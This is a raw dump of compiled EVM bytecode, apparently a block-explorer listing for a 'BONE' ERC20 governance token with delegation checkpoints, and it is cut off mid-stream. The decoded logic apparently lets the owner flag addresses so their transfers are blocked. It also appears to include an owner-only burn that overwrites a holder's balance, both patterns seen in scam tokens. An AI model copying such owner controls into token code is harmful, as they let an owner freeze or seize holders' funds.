ff161115610bf757600060028383610af19190612d7c565b610afb9190612d17565b82610b069190612d7c565b90506000600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610bc657806020015195505050505050610c5d565b86816000015163ffffffff161015610be057819350610bf0565b600182610bed9190612d7c565b92505b5050610acd565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600c6020528060005260406000206000915090505481565b606060088054610c8a90612e48565b80601f0160208091040260200160405190810160405280929190818152602001828054610cb690612e48565b8015610d035780601f10610cd857610100808354040283529160200191610d03565b820191906000526020600020905b815481529060010190602001808311610ce657829003601f168201915b5050505050905090565b610d156113de565b73ffffffffffffffffffffffffffffffffffffffff16610d33611b16565b73ffffffffffffffffffffffffffffffffffffffff1614610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8090612b28565b60405180910390fd5b610d938282611b3f565b5050565b610d9f6113de565b73ffffffffffffffffffffffffffffffffffffffff16610dbd611b16565b73ffffffffffffffffffffffffffffffffffffffff1614610e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0a90612b28565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e766113de565b73ffffffffffffffffffffffffffffffffffffffff16610e94611b16565b73ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee190612b28565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611008610f526113de565b8461100385604051806060016040528060258152602001612fe06025913960016000610f7c6113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b6113e6565b6001905092915050565b600061102661101f6113de565b84846115b1565b6001905092915050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161161109a576000611107565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836110e89190612d7c565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6111df6113de565b73ffffffffffffffffffffffffffffffffffffffff166111fd611b16565b73ffffffffffffffffffffffffffffffffffffffff1614611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90612b28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ba90612a88565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828461138f9190612c87565b9050838110156113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612ac8565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90612ba8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90612aa8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a49190612bc8565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116525750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116ae5760011515600560009054906101000a900460ff161515146116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612b88565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590612b68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178590612a28565b60405180910390fd5b611799838383611d0b565b61180581604051806060016040528060268152602001612f5e60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161193a9190612bc8565b60405180910390a3505050565b600083831115829061198f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119869190612a06565b60405180910390fd5b50828461199c9190612d48565b90509392505050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611a1484610843565b905082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611b10828483611d10565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba690612b48565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2d90612a48565b60405180910390fd5b81600654611c449190612d48565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a6000828254611c999190612d48565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cfe9190612bc8565b60405180910390a3505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750600081115b15611fba57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e85576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611def576000611e5c565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611e3d9190612d7c565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611e738483611fbf90919063ffffffff16565b9050611e8186848484612018565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fb9576000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f23576000611f90565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f719190612d7c565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611fa7848361138090919063ffffffff16565b9050611fb585848484612018565b5050505b5b505050565b600082821115612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb90612ae8565b60405180910390fd5b81836120109190612d48565b905092915050565b600061203c43604051806060016040528060348152602001612fac6034913961231b565b905060008463ffffffff161180156120da57508063ffffffff16600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876120a49190612d7c565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156121545781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761212e9190612d7c565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122c4565b60405180604001604052808263ffffffff16815260200183815250600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff166001856122139190612cdd565b63ffffffff1611612259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225090612b08565b60405180910390fd5b6001846122669190612cdd565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161230c929190612be3565b60405180910390a25050505050565b600064010000000083108290612367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235e9190612a06565b60405180910390fd5b5082905092915050565b60008135905061238081612f18565b92915050565b60008135905061239581612f2f565b92915050565b6000813590506123aa81612f46565b92915050565b6000602082840312156123c257600080fd5b60006123d084828501612371565b91505092915050565b600080604083850312156123ec57600080fd5b60006123fa85828601612371565b925050602061240b85828601612371565b9150509250929050565b60008060006060848603121561242a57600080fd5b600061243886828701612371565b935050602061244986828701612371565b925050604061245a86828701612386565b9150509250925092565b6000806040838503121561247757600080fd5b600061248585828601612371565b925050602061249685828601612386565b9150509250929050565b600080604083850312156124b357600080fd5b60006124c185828601612371565b92505060206124d28582860161239b565b9150509250929050565b6124e581612db0565b82525050565b6124f481612dc2565b82525050565b600061250582612c6b565b61250f8185612c76565b935061251f818560208601612e15565b61252881612f07565b840191505092915050565b6000612540602383612c76565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125a6602283612c76565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061260c602783612c76565b91507f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612672602683612c76565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006126d8602283612c76565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061273e601b83612c76565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061277e601e83612c76565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b60006127be603683612c76565b91507f424f4e453a3a5f7772697465436865636b706f696e743a206e6577206368656360008301527f6b706f696e7420657863656564732033322062697473000000000000000000006020830152604082019050919050565b6000612824602083612c76565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612864602183612c76565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006128ca602583612c76565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612930600083612c76565b9150600082019050919050565b600061294a602483612c76565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6129ac81612dee565b82525050565b6129bb81612df8565b82525050565b6129ca81612e08565b82525050565b60006020820190506129e560008301846124dc565b92915050565b6000602082019050612a0060008301846124eb565b92915050565b60006020820190508181036000830152612a2081846124fa565b905092915050565b60006020820190508181036000830152612a4181612533565b9050919050565b60006020820190508181036000830152612a6181612599565b9050919050565b60006020820190508181036000830152612a81816125ff565b9050919050565b60006020820190508181036000830152612aa181612665565b9050919050565b60006020820190508181036000830152612ac1816126cb565b9050919050565b60006020820190508181036000830152612ae181612731565b9050919050565b60006020820190508181036000830152612b0181612771565b9050919050565b60006020820190508181036000830152612b21816127b1565b9050919050565b60006020820190508181036000830152612b4181612817565b9050919050565b60006020820190508181036000830152612b6181612857565b9050919050565b60006020820190508181036000830152612b81816128bd565b9050919050565b60006020820190508181036000830152612ba181612923565b9050919050565b60006020820190508181036000830152612bc18161293d565b9050919050565b6000602082019050612bdd60008301846129a3565b92915050565b6000604082019050612bf860008301856129a3565b612c0560208301846129a3565b9392505050565b6000602082019050612c2160008301846129b2565b92915050565b6000604082019050612c3c60008301856129b2565b612c4960208301846129a3565b9392505050565b6000602082019050612c6560008301846129c1565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612c9282612dee565b9150612c9d83612dee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612cd257612cd1612e7a565b5b828201905092915050565b6000612ce882612df8565b9150612cf383612df8565b92508263ffffffff03821115612d0c57612d0b612e7a565b5b828201905092915050565b6000612d2282612df8565b9150612d2d83612df8565b925082612d3d57612d3c612ea9565b5b828204905092915050565b6000612d5382612dee565b9150612d5e83612dee565b925082821015612d7157612d70612e7a565b5b828203905092915050565b6000612d8782612df8565b9150612d9283612df8565b925082821015612da557612da4612e7a565b5b828203905092915050565b6000612dbb82612dce565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60005b83811015612e33578082015181840152602081019050612e18565b83811115612e42576000848401525b50505050565b60006002820490506001821680612e6057607f821691505b60208210811415612e7457612e73612ed8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612f2181612db0565b8114612f2c57600080fd5b50565b612f3881612dee565b8114612f4357600080fd5b50565b612f4f81612df8565b8114612f5a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365424f4e453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122072bc5325971d48b70591783d3b491bad9efb2adc8e10213a86414fd0fe78ba0664736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063782d6fe1116100c3578063a457c2d71161007c578063a457c2d7146103ea578063a9059cbb1461041a578063b4b5ea571461044a578063dd62ed3e1461047a578063f1127ed8146104aa578063f2fde38b146104db5761014d565b8063782d6fe1146103185780637ecebe001461034857806395d89b41146103785780639dc29fac146103965780639f08b319146103b2578063a12d42bd146103ce5761014d565b80633950935111610115578063395093511461020c578063587cde1e1461023c5780635a0857d41461026c5780635c19a95c1461029c5780636fcfff45146102b857806370a08231146102e85761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a6104f7565b6040516101679190612a06565b60405180910390f35b61018a60048036038101906101859190612464565b610589565b60405161019791906129eb565b60405180910390f35b6101a86105a7565b6040516101b59190612bc8565b60405180910390f35b6101d860048036038101906101d39190612415565b6105b1565b6040516101e591906129eb565b60405180910390f35b6101f661068a565b6040516102039190612c50565b60405180910390f35b61022660048036038101906102219190612464565b6106a1565b60405161023391906129eb565b60405180910390f35b610256600480360381019061025191906123b0565b610754565b60405161026391906129d0565b60405180910390f35b610286600480360381019061028191906123b0565b6107bd565b60405161029391906129eb565b60405180910390f35b6102b660048036038101906102b191906123b0565b610813565b005b6102d260048036038101906102cd91906123b0565b610820565b6040516102df9190612c0c565b60405180910390f35b61030260048036038101906102fd91906123b0565b610843565b60405161030f9190612bc8565b60405180910390f35b610332600480360381019061032d9190612464565b61088c565b60405161033f9190612bc8565b60405180910390f35b610362600480360381019061035d91906123b0565b610c63565b60405161036f9190612bc8565b60405180910390f35b610380610c7b565b60405161038d9190612a06565b60405180910390f35b6103b060048036038101906103ab9190612464565b610d0d565b005b6103cc60048036038101906103c791906123b0565b610d97565b005b6103e860048036038101906103e391906123b0565b610e6e565b005b61040460048036038101906103ff9190612464565b610f45565b60405161041191906129eb565b60405180910390f35b610434600480360381019061042f9190612464565b611012565b60405161044191906129eb565b60405180910390f35b610464600480360381019061045f91906123b0565b611030565b6040516104719190612bc8565b60405180910390f35b610494600480360381019061048f91906123d9565b61110f565b6040516104a19190612bc8565b60405180910390f35b6104c460048036038101906104bf91906124a0565b611196565b6040516104d2929190612c27565b60405180910390f35b6104f560048036038101906104f091906123b0565b6111d7565b005b60606007805461050690612e48565b80601f016020809104026020016040519081016040528092919081815260200182805461053290612e48565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d6105966113de565b84846113e6565b6001905092915050565b6000600a54905090565b60006105be8484846115b1565b61067f846105ca6113de565b61067a85604051806060016040528060288152602001612f8460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106306113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b6113e6565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600061074a6106ae6113de565b8461074585600160006106bf6113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138090919063ffffffff16565b6113e6565b6001905092915050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61081d33826119a5565b50565b600f6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60004382106108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790612a68565b60405180910390fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16141561093d576000915050610c5d565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461098c9190612d7c565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610a3957600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610a139190612d7c565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610c5d565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610aba576000915050610c5d565b600080600183610aca9190612d7c565b90505b8163ffffffff168163ffffffff161115610bf757600060028383610af19190612d7c565b610afb9190612d17565b82610b069190612d7c565b90506000600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610bc657806020015195505050505050610c5d565b86816000015163ffffffff161015610be057819350610bf0565b600182610bed9190612d7c565b92505b5050610acd565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600c6020528060005260406000206000915090505481565b606060088054610c8a90612e48565b80601f0160208091040260200160405190810160405280929190818152602001828054610cb690612e48565b8015610d035780601f10610cd857610100808354040283529160200191610d03565b820191906000526020600020905b815481529060010190602001808311610ce657829003601f168201915b5050505050905090565b610d156113de565b73ffffffffffffffffffffffffffffffffffffffff16610d33611b16565b73ffffffffffffffffffffffffffffffffffffffff1614610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8090612b28565b60405180910390fd5b610d938282611b3f565b5050565b610d9f6113de565b73ffffffffffffffffffffffffffffffffffffffff16610dbd611b16565b73ffffffffffffffffffffffffffffffffffffffff1614610e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0a90612b28565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e766113de565b73ffffffffffffffffffffffffffffffffffffffff16610e94611b16565b73ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee190612b28565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611008610f526113de565b8461100385604051806060016040528060258152602001612fe06025913960016000610f7c6113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b6113e6565b6001905092915050565b600061102661101f6113de565b84846115b1565b6001905092915050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161161109a576000611107565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836110e89190612d7c565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6111df6113de565b73ffffffffffffffffffffffffffffffffffffffff166111fd611b16565b73ffffffffffffffffffffffffffffffffffffffff1614611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90612b28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ba90612a88565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828461138f9190612c87565b9050838110156113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612ac8565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90612ba8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90612aa8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a49190612bc8565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116525750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116ae5760011515600560009054906101000a900460ff161515146116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612b88565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590612b68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178590612a28565b60405180910390fd5b611799838383611d0b565b61180581604051806060016040528060268152602001612f5e60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161193a9190612bc8565b60405180910390a3505050565b600083831115829061198f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119869190612a06565b60405180910390fd5b50828461199c9190612d48565b90509392505050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611a1484610843565b905082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611b10828483611d10565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba690612b48565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffff